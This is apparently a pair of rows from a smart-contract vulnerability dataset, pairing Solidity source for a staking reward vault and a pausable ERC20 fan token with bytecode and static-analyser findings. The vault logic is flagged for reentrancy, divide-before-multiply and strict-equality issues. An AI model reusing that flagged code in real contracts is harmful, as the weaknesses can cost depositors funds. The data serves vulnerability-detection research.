getReward(msg.sender);
uint256 feeAmount = amount.mul(feePermill).div(1000);
uint256 realAmount = amount.sub(feeAmount);
if (feeAmount > 0) {
token0.safeTransferFrom(msg.sender, feeAddress, feeAmount);
}
if (realAmount > 0) {
token0.safeTransferFrom(msg.sender, vaultAddress, realAmount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount);
_totalDeposit = _totalDeposit.add(realAmount);
emit Deposited(msg.sender, realAmount);
}
}
function withdraw(uint256 amount) external {
require(token0.balanceOf(address(this)) > 0, "no withdraw amount");
require(withdrawable, "not withdrawable");
getReward(msg.sender);
if (amount > _depositBalances[msg.sender]) {
amount = _depositBalances[msg.sender];
}
require(amount > 0, "can't withdraw 0");
token0.safeTransfer(msg.sender, amount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].sub(amount);
_totalDeposit = _totalDeposit.sub(amount);
emit Withdrawn(msg.sender, amount);
}
function sendReward(uint256 amount) external {
require(amount > 0, "can't reward 0");
require(_totalDeposit > 0, "totalDeposit must bigger than 0");
token1.safeTransferFrom(msg.sender, address(this), amount);
Reward memory reward;
reward = Reward(amount, block.timestamp, _totalDeposit);
_rewards.push(reward);
emit SentReward(amount);
}
function claimReward(uint256 amount) external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
if (amount > rewardLimit) {
amount = rewardLimit;
}
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount);
token1.safeTransfer(msg.sender, amount);
}
function claimRewardAll() external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit);
token1.safeTransfer(msg.sender, rewardLimit);
}
function getRewardAmount(address userAddress) public view returns (uint256) {
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (_rewards.length > 0) {
if (lastCheckTime > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) {
uint256 timedAmount = _rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit);
timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration);
rewardBalance = rewardBalance.sub(timedAmount);
if (j == 0) break;
}
}
return rewardBalance;
}
}
|
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c8063adc3b31b1161010f578063c6e426bd116100a2578063d86e1ef711610071578063d86e1ef714610579578063e2aa2a851461059c578063e4186aa6146105a4578063fab980b7146105ca576101f0565b8063c6e426bd1461050f578063c78b6dea14610535578063cbeb7ef214610552578063d21220a714610571576101f0565b8063b79ea884116100de578063b79ea884146104b6578063b8f6e841146104dc578063b8f79288146104e4578063c45c4f5814610507576101f0565b8063adc3b31b1461044e578063ae169a5014610474578063b5984a3614610491578063b6b55f2514610499576101f0565b806344264d3d1161018757806385535cc51161015657806385535cc5146103a15780638705fcd4146103c75780638f1e9405146103ed578063ab033ea914610428576101f0565b806344264d3d1461033657806344a040f514610357578063501883011461037d578063637830ca14610399576101f0565b806327b5b6a0116101c357806327b5b6a0146102e35780632e1a7d4d146103095780634127535814610326578063430bf08a1461032e576101f0565b80630dfe1681146101f557806311cc66b21461021957806312d43a51146102c15780631c69ad00146102c9575b600080fd5b6101fd610647565b604080516001600160a01b039092168252519081900360200190f35b6102bf6004803603602081101561022f57600080fd5b81019060208101813564010000000081111561024a57600080fd5b82018360208201111561025c57600080fd5b8035906020019184600183028401116401000000008311171561027e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610656945050505050565b005b6101fd6106bf565b6102d16106d3565b60408051918252519081900360200190f35b6102d1600480360360208110156102f957600080fd5b50356001600160a01b031661074f565b6102bf6004803603602081101561031f57600080fd5b5035610761565b6101fd61096d565b6101fd61097c565b61033e61098b565b6040805163ffffffff9092168252519081900360200190f35b6102d16004803603602081101561036d57600080fd5b50356001600160a01b031661099e565b610385610b41565b604080519115158252519081900360200190f35b6102bf610b4a565b6102bf600480360360208110156103b757600080fd5b50356001600160a01b0316610baa565b6102bf600480360360208110156103dd57600080fd5b50356001600160a01b0316610c1e565b61040a6004803603602081101561040357600080fd5b5035610c92565b60408051938452602084019290925282820152519081900360600190f35b6102bf6004803603602081101561043e57600080fd5b50356001600160a01b0316610cc5565b6102d16004803603602081101561046457600080fd5b50356001600160a01b0316610d3f565b6102bf6004803603602081101561048a57600080fd5b5035610d51565b6102d1610db9565b6102bf600480360360208110156104af57600080fd5b5035610dbf565b6102bf600480360360208110156104cc57600080fd5b50356001600160a01b0316610ec2565b6102d1610f36565b6102bf600480360360208110156104fa57600080fd5b503563ffffffff16610f3c565b6102d1610fb4565b6102bf6004803603602081101561052557600080fd5b50356001600160a01b0316610fff565b6102bf6004803603602081101561054b57600080fd5b5035611073565b6102bf6004803603602081101561056857600080fd5b50351515611214565b6101fd611279565b6102bf6004803603602081101561058f57600080fd5b503563ffffffff16611288565b6102d16112e5565b6102d1600480360360208110156105ba57600080fd5b50356001600160a01b03166112eb565b6105d26112fd565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561060c5781810151838201526020016105f4565b50505050905090810190601f1680156106395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6006546001600160a01b031681565b600b5461010090046001600160a01b031633146106a8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106bb906005906020840190611975565b5050565b600b5461010090046001600160a01b031681565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b505afa158015610732573d6000803e3d6000fd5b505050506040513d602081101561074857600080fd5b5051905090565b60006020819052908152604090205481565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107ac57600080fd5b505afa1580156107c0573d6000803e3d6000fd5b505050506040513d60208110156107d657600080fd5b50511161081f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b600b5460ff16610869576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108723361138b565b3360009081526002602052604090205481111561089b5750336000908152600260205260409020545b600081116108e3576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6006546108fa906001600160a01b03163383611493565b3360009081526002602052604090205461091490826114e5565b3360009081526002602052604090205560035461093190826114e5565b60035560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6008546001600160a01b031681565b6009546001600160a01b031681565b600954600160a01b900463ffffffff1681565b6001600160a01b03811660009081526020818152604080832054600190925282205460045415610b3a578115610a9257600454600019015b600481815481106109e357fe5b906000526020600020906003020160010154831015610a9057610a7b610a7460048381548110610a0f57fe5b906000526020600020906003020160020154610a6e600260008a6001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b600091825260209091206003909102015490611530565b90611589565b83906115cb565b915080610a8757610a90565b600019016109d6565b505b600454600019015b610acd600a5460048381548110610aad57fe5b9060005260206000209060030201600101546115cb90919063ffffffff16565b421015610b38576000610ae660048381548110610a0f57fe5b9050610b15600a54610a6e610b0e42610b08600a5460048981548110610aad57fe5b906114e5565b8490611530565b9050610b2183826114e5565b925081610b2e5750610b38565b5060001901610a9a565b505b9392505050565b600b5460ff1681565b610b533361138b565b6000610b5e3361099e565b33600090815260016020526040902054909150610b7b90826114e5565b33600081815260016020526040902091909155600754610ba7916001600160a01b039091169083611493565b50565b600b5461010090046001600160a01b03163314610bfc576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b5461010090046001600160a01b03163314610c70576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610ca257600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600b5461010090046001600160a01b03163314610d17576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60016020526000908152604090205481565b610d5a3361138b565b6000610d653361099e565b905080821115610d73578091505b33600090815260016020526040902054610d8d90836114e5565b336000818152600160205260409020919091556007546106bb916001600160a01b039091169084611493565b600a5481565b610dc83361138b565b600954600090610df2906103e890610a6e90859063ffffffff600160a01b90910481169061153016565b90506000610e0083836114e5565b90508115610e2757600854600654610e27916001600160a01b039182169133911685611625565b8015610ebd57600954600654610e4c916001600160a01b039182169133911684611625565b33600090815260026020526040902054610e6690826115cb565b33600090815260026020526040902055600354610e8390826115cb565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a25b505050565b600b5461010090046001600160a01b03163314610f14576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600b5461010090046001600160a01b03163314610f8e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6009805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b600b5461010090046001600160a01b03163314611051576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081116110b9576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411611110576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600754611128906001600160a01b0316333084611625565b611130611a01565b50604080516060810182528281524260208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929081900390910190a15050565b600b5461010090046001600160a01b03163314611266576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b805460ff1916911515919091179055565b6007546001600160a01b031681565b600b5461010090046001600160a01b031633146112da576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600a55565b600c5481565b60026020526000908152604090205481565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156113835780601f1061135857610100808354040283529160200191611383565b820191906000526020600020905b81548152906001019060200180831161136657829003601f168201915b505050505081565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906113be575060045415155b1561146357600454600019015b600481815481106113d857fe5b9060005260206000209060030201600101548310156114615761144c610a746004838154811061140457fe5b906000526020600020906003020160020154610a6e60026000896001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b91508061145857611461565b600019016113cb565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610ebd908490611685565b600061152783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061183d565b90505b92915050565b60008261153f5750600061152a565b8282028284828161154c57fe5b04146115275760405162461bcd60e51b8152600401808060200182810382526021815260200180611a386021913960400191505060405180910390fd5b600061152783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118d4565b600082820183811015611527576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261167f908590611685565b50505050565b611697826001600160a01b0316611939565b6116e8576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106117265780518252601f199092019160209182019101611707565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611788576040519150601f19603f3d011682016040523d82523d6000602084013e61178d565b606091505b5091509150816117e4576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561167f5780806020019051602081101561180057600080fd5b505161167f5760405162461bcd60e51b815260040180806020018281038252602a815260200180611a59602a913960400191505060405180910390fd5b600081848411156118cc5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611891578181015183820152602001611879565b50505050905090810190601f1680156118be5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836119235760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611891578181015183820152602001611879565b50600083858161192f57fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061196d5750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826119ab57600085556119f1565b82601f106119c457805160ff19168380011785556119f1565b828001600101855582156119f1579182015b828111156119f15782518255916020019190600101906119d6565b506119fd929150611a22565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b808211156119fd5760008155600101611a2356fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220e73f50c87f41747254a3abcf8ee6e0e7ca53ebca5aba193ed436370f6d5ce37964736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,725 |
0x946577e14251b791a63753589941ecb9b883b2e8
|
pragma solidity ^0.5.0;
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Roles {
struct Role {
mapping(address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Pausable is Ownable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(
addedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(
subtractedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(
address from,
address to,
uint256 value
) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value
);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
/*
* approve/increaseApprove/decreaseApprove can be set when Paused state
*/
/*
* function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
* return super.approve(spender, value);
* }
*
* function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
* return super.increaseAllowance(spender, addedValue);
* }
*
* function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
* return super.decreaseAllowance(spender, subtractedValue);
* }
*/
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(
string memory name,
string memory symbol,
uint8 decimals
) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract JustinSunFanToken is ERC20Detailed, ERC20Pausable {
mapping(address => bool) public frozenAccount;
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozenAccount[_holder]);
_;
}
constructor() public ERC20Detailed("JustinSun.FanToken", "JSF", 18) {
_mint(msg.sender, 100000000 * (10**18));
}
function balanceOf(address owner) public view returns (uint256) {
return super.balanceOf(owner);
}
function transfer(address to, uint256 value)
public
notFrozen(msg.sender)
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
) public notFrozen(from) returns (bool) {
return super.transferFrom(from, to, value);
}
function freezeAccount(address holder) public onlyOwner returns (bool) {
require(!frozenAccount[holder]);
frozenAccount[holder] = true;
emit Freeze(holder);
return true;
}
function unfreezeAccount(address holder) public onlyOwner returns (bool) {
require(frozenAccount[holder]);
frozenAccount[holder] = false;
emit Unfreeze(holder);
return true;
}
function mint(uint256 _amount) public onlyOwner returns (bool) {
_mint(msg.sender, _amount);
return true;
}
function burn(uint256 _amount) public onlyOwner returns (bool) {
_burn(msg.sender, _amount);
return true;
}
}
|
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bd57806318160ddd1461023057806323b872dd1461025b578063313ce567146102ee578063395093511461031f5780633f4ba83a1461039257806342966c68146103a95780635c975abb146103fc57806370a082311461042b578063715018a614610490578063788649ea146104a75780638456cb59146105105780638da5cb5b1461052757806395d89b411461057e578063a0712d681461060e578063a457c2d714610661578063a9059cbb146106d4578063b414d4b614610747578063dd62ed3e146107b0578063f26c159f14610835578063f2fde38b1461089e575b600080fd5b34801561013957600080fd5b506101426108ef565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610182578082015181840152602081019050610167565b50505050905090810190601f1680156101af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c957600080fd5b50610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610991565b604051808215151515815260200191505060405180910390f35b34801561023c57600080fd5b50610245610abe565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ac8565b604051808215151515815260200191505060405180910390f35b3480156102fa57600080fd5b50610303610b39565b604051808260ff1660ff16815260200191505060405180910390f35b34801561032b57600080fd5b506103786004803603604081101561034257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b50565b604051808215151515815260200191505060405180910390f35b34801561039e57600080fd5b506103a7610d87565b005b3480156103b557600080fd5b506103e2600480360360208110156103cc57600080fd5b8101908080359060200190929190505050610ee7565b604051808215151515815260200191505060405180910390f35b34801561040857600080fd5b50610411610fc1565b604051808215151515815260200191505060405180910390f35b34801561043757600080fd5b5061047a6004803603602081101561044e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd8565b6040518082815260200191505060405180910390f35b34801561049c57600080fd5b506104a5610fea565b005b3480156104b357600080fd5b506104f6600480360360208110156104ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611170565b604051808215151515815260200191505060405180910390f35b34801561051c57600080fd5b50610525611333565b005b34801561053357600080fd5b5061053c611494565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058a57600080fd5b506105936114be565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d35780820151818401526020810190506105b8565b50505050905090810190601f1680156106005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061a57600080fd5b506106476004803603602081101561063157600080fd5b8101908080359060200190929190505050611560565b604051808215151515815260200191505060405180910390f35b34801561066d57600080fd5b506106ba6004803603604081101561068457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061163a565b604051808215151515815260200191505060405180910390f35b3480156106e057600080fd5b5061072d600480360360408110156106f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611871565b604051808215151515815260200191505060405180910390f35b34801561075357600080fd5b506107966004803603602081101561076a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118e0565b604051808215151515815260200191505060405180910390f35b3480156107bc57600080fd5b5061081f600480360360408110156107d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b6040518082815260200191505060405180910390f35b34801561084157600080fd5b506108846004803603602081101561085857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611987565b604051808215151515815260200191505060405180910390f35b3480156108aa57600080fd5b506108ed600480360360208110156108c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b4b565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109875780601f1061095c57610100808354040283529160200191610987565b820191906000526020600020905b81548152906001019060200180831161096a57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156109ce57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffff